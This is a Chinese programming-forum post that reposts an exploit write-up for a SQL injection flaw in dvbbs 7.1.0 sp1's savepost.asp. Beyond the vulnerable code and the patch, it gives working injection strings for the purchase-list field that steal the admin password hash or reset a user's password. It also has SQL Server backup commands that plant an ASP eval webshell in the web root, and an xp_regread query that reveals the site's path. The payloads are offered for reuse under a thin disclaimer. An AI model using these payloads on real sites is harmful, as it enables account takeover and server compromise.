| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 830 人关注过本帖
标题:dvbbs7.1sp1最新漏洞的研究和利用
取消只看楼主 加入收藏
找不到服务器
Rank: 4
等 级:贵宾
威 望:12
帖 子:2937
专家分:1
注 册:2006-8-29
结帖率:33.33%
收藏
 问题点数:0 回复次数:1 
dvbbs7.1sp1最新漏洞的研究和利用

随便在网上找到的文章..汗,这类文章还挺多
[hide]

动网论坛(dvbbs 7.1.0 sp1)savepost.asp存在严重漏洞10-may-06
发现:bug.center.team
严重程度:严重
厂商名称:动网论坛(dvbbs)
程序版本:dvbbs 7.1.0 sp1

漏洞分析:
因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

厂商补丁:
http://bbs.dvbbs.net/dispbbs.asp?boardid=8&id=1187367&page=1

看到下面:
------------------------------
if not isnumeric(buy_viptype) then buy_viptype = 0
if buy_userlist<>"" then buy_userlist = replace(replace(replace(buy_userlist,"|||",""),"@@@",""),"$paymoney","")
toolsbuyuser = "------------------------------------

再朝下看:
public sub insert_to_announce()
'插入回复表
dim ubblistbody
ubblistbody = content
ubblistbody = ubblist(content)
sql="insert into "&totalusetable&"(boardid,parentid,username,topic,body,dateandtime,length,rootid,layer,orders,ip,expression,locktopic,signflag,emailflag,isbest,postuserid,isupload,isaudit,ubblist,getmoney,usetools,postbuyuser,getmoneytype) values ("&dvbbs.boardid&","&parentid&",'"&username&"','"&topic&"','"&content&"','"&datetimestr&"','"&dvbbs.strlength(content)&"',"&rootid&","&ilayer&","&iorders&",'"&dvbbs.usertrueip&"','"&expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&dvbbs.userid&","&ihaveupfile&","&isaudit&",'"&ubblistbody&"',"&tomoney&",'"&usetools&"','"&toolsbuyuser&"',"&getmoneytype&")"
dvbbs.execute(sql)

可以看到buy_userlist这个变量过滤有问题,呵呵,这个变量又导致toolsbuyuser这个变量有问题。的确是可以注射,呵呵。
在悔过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(toolsbuyuser)&"
看来应该是这个地方了。
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
利用办法嘛,先注册一个id,找个版面发帖子,
帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
下面是表单内容。

看源代码:
-------------------------------------
<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="tomoney" size="4" value="">
<div id="buy_setting" style="display:none">
购买数量限制:<input name="buy_orders" size="4" value="-1">(设置为“-1”则不限制)<br>
vip用户浏览选项:不需要购买<input type="radio" name="buy_viptype" value="0" checked="checked">,需要购买<input type="radio" name="buy_viptype" value="1" /><br />
可购买用户名单限制:<input name="buy_userlist" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
-------------------------------------
就是这个地方了,hoho。
下面有个“可购买名单限制”,里面就填写:
xjy111',0);update/**/dv_user/**/set/**/useremail=(select[password]from/**/dv_admin/**/where[username]='yellowcat')/**/where[username]='qq156544632';--

提交成功。
看看我的email。
晕死,居然成了空白。不知道为什么哈。
来点直接的:

coolidea|||123',0);update/**/dv_user/**/set/**/userpassword='469e80d32c0559f8'/**/where[username]='qq156544632';--
这回好了,先退出,用admin888这个密码直接成功登录。
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)
或者差异备份(后台可以看到web绝对路径):

create table aspshell (str image);

declare @a sysname select @a=db_name() backup database @a to disk='d:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak;

insert into aspshell values(0x3c256576616c20726571756573742822232229253e);
declare @a sysname select @a=db_name() backup database @a to disk='d:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp' with differential;

drop table aspshell;

另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
create table regread(a varchar(255),b varchar(255));
(建立一个临时表,存放读取到的信息)
insert regread exec master.dbo.xp_regread 'hkey_local_machine','system\controlset001\services\w3svc\parameters\virtual roots', '/'
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename='admin'

至于acess版本没有研究。

[至于工具,实在没必要写,因为利用起来很简单,把所利用的注入语句复制粘贴一下就可以了。对于动网sql版,我感觉危害比当初的上传漏洞还要严重,因为操作起来很方便。希望大家本着一种学习技术的心态,不要对存在漏洞的站点实施破坏攻击!!!—— kendy]

[/hide]

2007-03-17 16:52
找不到服务器
Rank: 4
等 级:贵宾
威 望:12
帖 子:2937
专家分:1
注 册:2006-8-29
收藏
得分:0 

史上点击数最高的贴
http://bbs.bccn.net/thread-146005-1-1.html
2007-03-17 16:59
快速回复:dvbbs7.1sp1最新漏洞的研究和利用
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016720 second(s), 8 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved